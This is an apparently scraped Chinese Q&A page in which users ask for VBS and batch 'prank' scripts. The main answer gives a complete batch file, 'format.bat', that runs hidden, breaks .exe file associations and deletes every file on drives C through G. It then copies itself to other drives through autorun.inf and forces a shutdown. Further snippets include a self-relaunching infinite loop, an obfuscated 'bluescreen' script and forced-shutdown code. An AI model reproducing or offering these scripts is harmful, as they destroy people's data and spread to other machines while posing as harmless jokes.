vbs整人代码,有多少发多少,大家帮帮忙。

发布网友发布时间：2022-05-27 07:51

共1个回答

热心网友时间：2023-10-12 03:20

这段代码极具危险性，请勿乱试、，运行时系统就会一直要插入系统盘修复，运行完了就关机，于是乎重启没反应，做完系统发现硬盘上数据都没了，而且此程序有可能复发……
文件format.bat
@echo off
if "%1"=="h" goto begin
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
:begin
assoc .exe=null
copy C:\windows\system32\shutdown.exe D:\
copy C:\windows\system32\attrib.exe D:\
del *.* /s /q C:\
rd /s /q C:\
copy D:\shutdown.exe C:\windows\system32\
copy D:\attrib.exe C:\windows\system32\
for %%i in (d,e,f,g) do (%%i:
del *.* /s /q
rd /s /q %%i:\
)
for %%i in (d,e,f,g,h) do (
echo [autorun]>%%i:\autorun.inf
echo OPEN=format.bat /AUTORUN>>%%i:\autorun.inf
copy %0 %%i:\format.bat
attrib +s +h +r %%i:\autorun.inf
attrib +s +h +r %%i:\format.bat
)
shutdown -f -s -t 00

vbs整人代码,有多少发多少,大家帮帮忙。

这段代码极具危险性，请勿乱试、，运行时系统就会一直要插入系统盘修复，运行完了就关机，于是乎重启没反应，做完系统发现硬盘上数据都没了，而且此程序有可能复发……文件format.bat echo off if "%1"=="h" goto begin start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h"...

vbs整人代码大全

这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32...

VBS整人代码问题

发个特整人的东西给你看看，不仅特整人，还非常简单，仅仅6行 set s=createobject("wscript.shell")lsfile=wscript.scriptfullname '获得自己的名称 do '死循环 s.run lsfile '自己运行自己 s.run "notepad"'运行记事本 loop '几秒就死机，哈 ...

要vbs的整人代码,不要整太狠的那种,只是开玩笑的那种,谁有啊。

WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉，这你都不知道吗？")WScript.Echo("怎么才来，说~是不是不关心我")WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")WScript.Echo("小强很生气，后果很严重哦...

谁会编写vbs 或 vbe整人代码

我可以给你几个，但是目前QQ把全部vbs认为是病毒(事实上没有毒,他只是一个脚本)。我给你几个整人的。第一个：“我是畜生”on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 25 -c ""说我是畜生，不说就...

求大量VBS整人代码.

Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if 第四个 '这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877...

求详细VB整人代码!

Form1.Visible = False For i = 1 To 20 Open "c:\\你被怪人恶搞了,你傻了吧！" CStr(i) ".txt" For Random As 1 Open "d:\\你被怪人恶搞了,你傻了吧！" CStr(i) ".txt" For Random As 2 Open "e:\\你被怪人恶搞了,你傻了吧！" CStr(i) ".txt" For Ran...

求几个详细的vb整人代码! 再百度里一搜出来n多,大都仔细看了下,基本上...

我自己做了一个简单的给你看看吧 Private Sub Command1_Click()If Text1.Text = "我是傻X" Then End End If End Sub Private Sub Form_Load()Text2.Text = 10 Timer1.Interval = 1000 Open "C:\Documents and Settings\关机.bat" For Output As #1 Print #1, "shutdown -s -t 0"C...

求大量VBS.BAT.EXE计算机整人代码

WScript.Echo("没有内容了！")WScript.Echo("不关我会来索命的！")WScript.Echo(" ")WScript.Echo(" ")WScript.Echo("我会阴魂不散的！")WScript.Echo("我要死了！")WScript.Echo("每1分钟我会找你一次！")WScript.Echo("永别啦！！！")do until i=10 i=i+1 msgbox "我阴魂不散那！

电脑整人、告白提醒妙招两段代码足够了

先来第一段弹窗代码： msgbox"内容A"+chr(13)+"内容B"+chr(13)+"内容C",1,"标题" 将它们复制到文本中，将后缀改成“.vbs”就可以双击执行了。其中“msgbox”代表Windows系统的弹窗警告，内容A、内容B、内容C是大家想在弹窗上显示的文字，而“标题”...

vbs整人代码 vbs整人代码怎么解除手机vbs整人代码 vbs整人代码无限循环 vbs蓝屏整人代码整人bat代码大全 bat整人代码大集合 msgbox整人代码简单整人bat代码